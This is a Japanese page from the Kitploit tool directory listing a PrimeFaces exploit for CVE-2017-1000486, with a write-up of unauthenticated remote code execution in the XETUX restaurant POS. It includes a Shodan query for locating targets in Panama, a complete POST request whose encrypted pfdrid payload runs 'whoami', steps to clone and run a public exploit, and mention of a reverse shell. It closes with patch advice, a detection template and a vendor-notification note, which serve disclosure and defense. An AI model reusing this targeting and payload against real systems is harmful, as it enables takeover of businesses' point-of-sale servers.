Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
primefaces — CVE-2017-1000486 のエクスプロイト | Kitploit
ツール/GitHubGitHub/jam620/primefaces
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubjam620/primefaces

primefaces

CVE-2017-1000486 のエクスプロイト

リポジトリを見る
32年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

テーブルからコードへ:レストランPOSにおけるRCE脆弱性の旅

今回、たまたまレストラン向けPOSアプリケーションXETUXに存在する脆弱性に遭遇しました。これはレストランの監視と自動化のためのソリューションです。パナマでは多くのレストランで広く使用されています。

この脆弱性はRCE(リモートコード実行)であり、攻撃者が認証なしでコードを実行し、ターゲット上で特権を取得することを可能にします。

2

1. 列挙

Xetuxアプリケーションに存在するライブラリ、具体的にはprimefacesと呼ばれるPDF生成用のライブラリを発見した後、Shodanで検索を実行して潜在的なターゲットを特定することにしました。

root@kitploit:~
http.title:"@XETUX" country:PA

検索結果は40件、世界中で334件でした。

1

パナマにないターゲットの1つで脆弱性を確認します。バックエンドを分析すると、

3

アプリケーションがnt authority\systemのすべての特権でインストールされていることがわかります。次に何が起こっているのか説明します。

アプリケーションはApache Tomcatをサーバーとして使用し、バックエンドはJavaです。Primefacesというサードパーティのライブラリまたはプラグインを使用しています。問題のあるパスはエンドポイントjavax.faces.resource/dynamiccontent.properties.xhtmlです。

このライブラリを調査すると、脆弱性が見つかりました。Primefacesは動的コンテンツを次のように読み込みます。

root@kitploit:~
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true

問題はパラメータpdfidにあります。

pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl

パラメータの値は暗号化されており、リクエストが正しく復号されるかどうかを検証する方法はありません。残念ながら、デフォルトのキー値を変更しない場合、デフォルトキーの生成を要求することができます。そのため、幸運なことに、私たちがテストしたすべてのケースでデフォルトキーが使用されていました。

同様に、Padding Oracle Attackを実行し、Padbusterツールを使用してキーを取得することも可能です。以下にリクエストを示します。

root@kitploit:~
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643

pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
2. リバースシェル

前述のとおり、RCEを含むライブラリはPrimefacesであり、公開されているエクスプロイトCVE-2017-1000486があります。

エクスプロイトをダウンロードして脆弱性をテストします。

root@kitploit:~
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt

エクスプロイトを実行します。

4

これにより、キーとリクエストが表示されます。

5

コマンドの結果が返されます。

6

次に、サーバーへのアクセスを取得するためにリバースシェルを取得します。

7

3. 最終的な考慮事項
  • この欠陥はXetuxソフトウェアにのみ適用されるわけではありません。同じPrimefacesライブラリに存在し、MaxView Storage ManagerやDOCBOXなどの他のアプリケーションでも見られます。
  • 脆弱性の修正は2017年に公開されており、数年前から存在しています。Primefacesを更新することを推奨します。
  • エンドポイントへのアクセスは認証なしであるため、誰でもリクエストを送信できます。そのため、リクエストが有効かどうかを検証する必要があります。
  • 上記のアプリケーションのいずれかを使用している場合、脆弱性があるかどうかを確認できるnucleiテンプレートのリポジトリを共有します。https://gitlab.com/t0adsec/nuclei-templates
  • 責任を持って、各該当国のアプリケーションプロバイダーに通知しましたが、現時点では彼らからの連絡はありません。
4. 参考文献
  • XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行漏洞-CSDN博客. (s. f.). https://blog.csdn.net/holyxp/article/details/134402720
  • Gobysec. (s. f.). GobyVuls/GobyVuls-Document.md at master · gobysec/GobyVuls. GitHub. https://github.com/gobysec/GobyVuls/blob/master/GobyVuls-Document.md
  • Lindner, S. (2018, 26 april). PrimeFaces Expression Language Remote Code Execution fix. illucIT Software GmbH. https://www.illucit.com/en/java-ee/primefaces-expression-language-remote-code-execution-fix
ツールをダウンロード